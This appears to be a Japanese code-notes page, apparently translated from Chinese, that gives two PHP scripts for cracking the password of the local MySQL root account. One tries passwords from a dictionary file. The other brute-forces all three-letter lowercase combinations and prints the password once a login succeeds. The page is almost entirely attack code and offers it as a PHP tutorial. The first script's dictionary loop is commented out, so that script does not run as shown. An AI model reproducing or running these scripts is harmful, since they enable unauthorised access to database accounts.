コードノート
php ローカル推測 MYSQL - 辞書ファイル推測
<code><span><span><?</span> set_time_limit(<span>0</span>); <span>//脚本不超时</span><span>$user</span>=”root”; <span>//用户名</span><span>//$passwd=file(“password.txt”); //密码字典</span><span>//for($i=0;$i<count($passwd);$i++){</span><span>//$pass=$passwd[$i];</span> connect(<span>$user</span>,<span>$pass</span>); flush(); <span>//}</span><span>echo</span> “扫描结束!”; <span><span>function</span><span>connect</span><span>(<span>$user</span>,<span>$pass</span>)</span> {</span><span>$conn</span>=@mysql_connect(“localhost”,<span>$user</span>,<span>$pass</span>); <span>if</span>(<span>$conn</span>){ <span>echo</span> “<font color=’<span>#0000FF’><b>得到密码:<font color=’#FF0000′>”.$pass.”</font>!!!</b></font>”;</span><span>exit</span>(); } <span>else</span> { <span>echo</span><span>$pass</span>.’ ‘; } } <span>?></span></span></code>
php ローカル推測 MYSQL - 暴力的な推測
<code><textarea rows=<span>25</span> cols=<span>90</span> id=’t1′> <span><?php</span> set_time_limit(<span>0</span>); <span>$fruit</span>=<span>array</span> (‘a’,’b’,’c’,’d’,’e’,’f’,’g’,’h’,’i’,’j’,’k’,’l’,’m’,’n’,’o’,’p’,’q’,’r ‘,’s’,’t’,’u’,’v’,’w’,’x’,’y’,’z’); <span>//密码组合单个字符</span><span>$mmcd</span>=<span>3</span>; <span>//密码长度</span><span>$jlcs1</span>=<span>0</span>; <span>$dishes</span>[]=range(<span>1</span>,<span>$mmcd</span>); <span>//开始循环</span><span>for</span>(<span>$i</span>=<span>0</span>;<span>$i</span><<span>$mmcd</span>;<span>$i</span>++){ <span>foreach</span>(<span>$dishes</span><span>as</span><span>$k</span>=><span>$v</span>){ <span>foreach</span>(<span>$fruit</span><span>as</span><span>$_fruit</span>){ <span>$v</span>[<span>$i</span>]=<span>$_fruit</span>; <span>$dishes</span>[]=<span>$v</span>; <span>unset</span>(<span>$dishes</span>[<span>$k</span>]); <span>$t</span>=implode(”,<span>$v</span>); <span>$user</span>=<span>'root'</span>; <span>$pass</span>=<span>$t</span>; <span>$conn</span>=@mysql_connect(‘localhost’,<span>$user</span>,<span>$pass</span>); <span>//每生成800个密码自动删除文本框并创建一个文本框</span><span>$jlcs1</span>=<span>$jlcs1</span>+<span>1</span>; <span>if</span>(<span>$jlcs1</span>==<span>800</span>){ <span>echo</span> “</textarea>”; <span>echo</span> “<script language=\”JavaScript\”> <span>var</span> v = document.getElementById(‘t1′); v.parentNode.removeChild(v); </script>”; <span>echo</span> “<textarea rows=<span>25</span> cols=<span>90</span> id=’t1′>”; <span>$jlcs1</span>=<span>0</span>; } <span>//测试密码</span><span>if</span>(<span>$conn</span>){ <span>echo</span> “<script language=\”JavaScript\”> <span>var</span> v = document.getElementById(‘t1′); v.parentNode.removeChild(v); </script>”; <span>echo</span> “</textarea>”; <span>echo</span> “<font color=’<span>#0000FF’><b>得到密码: <font</span> color=’<span>#FF0000′>”.$pass.”</font>! ! ! </b></font>”;</span><span>exit</span>(); } <span>else</span> { <span>echo</span><span>$pass</span>.’ ‘; } flush(); } } <span>//总循环输出</span><span>echo</span> “</textarea>”; <span>echo</span> “<script language=\”JavaScript\”> <span>var</span> v = document.getElementById(‘t1′); v.parentNode.removeChild(v); </script>”; <span>echo</span> “<textarea rows=<span>25</span> cols=<span>90</span> id=’t1′>”; <span>echo</span> ‘扫描’,<span>$i</span>+<span>1</span>,<span>'!'</span>; } <span>?></span></code>
上記は、Mysql の内容を含め、PHP における MYSQL のローカル推測を紹介しています。PHP チュートリアルに興味のある友人に役立つことを願っています。